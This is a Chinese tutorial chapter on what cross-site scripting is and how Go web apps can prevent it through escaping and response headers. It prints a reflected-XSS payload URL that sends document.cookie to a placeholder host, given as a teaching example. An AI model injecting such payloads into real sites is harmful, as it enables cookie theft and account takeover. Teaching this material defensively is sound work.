5.2 KiB
9.3 避免XSS攻擊
隨著網際網路技術的發展,現在的Web應用都含有大量的動態內容以提高使用者體驗。所謂動態內容,就是應用程式能夠根據使用者環境和使用者請求,輸出相應的內容。動態站點會受到一種名為“跨站指令碼攻擊”(Cross Site Scripting, 安全專家們通常將其縮寫成 XSS)的威脅,而靜態站點則完全不受其影響。
什麼是XSS
XSS攻擊:跨站指令碼攻擊(Cross-Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS。XSS是一種常見的web安全漏洞,它允許攻擊者將惡意程式碼植入到提供給其它使用者使用的頁面中。不同於大多數攻擊(一般只涉及攻擊者和受害者),XSS涉及到三方,即攻擊者、客戶端與Web應用。XSS的攻擊目標是為了盜取儲存在客戶端的cookie或者其他網站用於識別客戶端身份的敏感資訊。一旦取得到合法使用者的資訊後,攻擊者甚至可以假冒合法使用者與網站進行互動。
XSS通常可以分為兩大類別:一類別是儲存型XSS,主要出現在讓使用者輸入資料,供其他瀏覽此頁的使用者進行檢視的地方,包括留言、評論、部落格日誌和各類別表單等。應用程式從資料庫中查詢資料,在頁面中顯示出來,攻擊者在相關頁面輸入惡意的指令碼資料後,使用者瀏覽此類別頁面時就可能受到攻擊。這個流程簡單可以描述為:惡意使用者的Html輸入Web程式->進入資料庫->Web程式->使用者瀏覽器。另一類別是反射型XSS,主要做法是將指令碼程式碼加入URL地址的請求引數裡,請求引數進入程式後在頁面直接輸出,使用者點選類似的惡意連結就可能受到攻擊。
XSS目前主要的手段和目的如下:
- 盜用cookie,取得敏感資訊。
- 利用植入Flash,透過crossdomain許可權設定進一步取得更高許可權;或者利用Java等得到類似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊者)使用者的身份執行一些管理動作,或執行一些如:發微博、加好友、發私信等常規操作,前段時間新浪微博就遭遇過一次XSS。
- 利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。
- 在訪問量極大的一些頁面上的XSS可以攻擊一些小型網站,實現DDoS攻擊的效果
XSS的原理
Web應用未對使用者提交請求的資料做充分的檢查過濾,允許使用者在提交的資料中摻入HTML程式碼(最主要的是“>”、“<”),並將未經轉義的惡意程式碼輸出到第三方使用者的瀏覽器解釋執行,是導致XSS漏洞的產生原因。
接下來以反射性XSS舉例說明XSS的過程:現在有一個網站,根據引數輸出使用者的名稱,例如訪問url:http://127.0.0.1/?name=astaxie,就會在瀏覽器輸出如下資訊:
hello astaxie
如果我們傳遞這樣的url:http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>,這時你就會發現瀏覽器跳出一個彈出框,這說明站點已經存在了XSS漏洞。那麼惡意使用者是如何盜取Cookie的呢?與上類似,如下這樣的url:http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>,這樣就可以把當前的cookie傳送到指定的站點:www.xxx.com。你也許會說,這樣的URL一看就有問題,怎麼會有人點選?,是的,這類別的URL會讓人懷疑,但如果使用短網址服務將之縮短,你還看得出來麼?攻擊者將縮短過後的url透過某些途徑傳播開來,不明真相的使用者一旦點選了這樣的url,相應cookie資料就會被髮送事先設定好的站點,這樣子就盜得了使用者的cookie資訊,然後就可以利用Websleuth之類別的工具來檢查是否能盜取那個使用者的賬戶。
更加詳細的關於XSS的分析大家可以參考這篇叫做《新浪微博XSS事件分析》的文章。
如何預防XSS
答案很簡單,堅決不要相信使用者的任何輸入,並過濾掉輸入中的所有特殊字元。這樣就能消滅絕大部分的XSS攻擊。
目前防禦XSS主要有如下幾種方式:
-
過濾特殊字元
避免XSS的方法之一主要是將使用者所提供的內容進行過濾,Go語言提供了HTML的過濾函式:
text/template套件下面的HTMLEscapeString、JSEscapeString等函式
-
使用HTTP頭指定型別
`w.Header().Set("Content-Type","text/javascript")`
這樣就可以讓瀏覽器解析javascript程式碼,而不會是html輸出。
總結
XSS漏洞是相當有危害的,在開發Web應用的時候,一定要記住過濾資料,特別是在輸出到客戶端之前,這是現在行之有效的防止XSS的手段。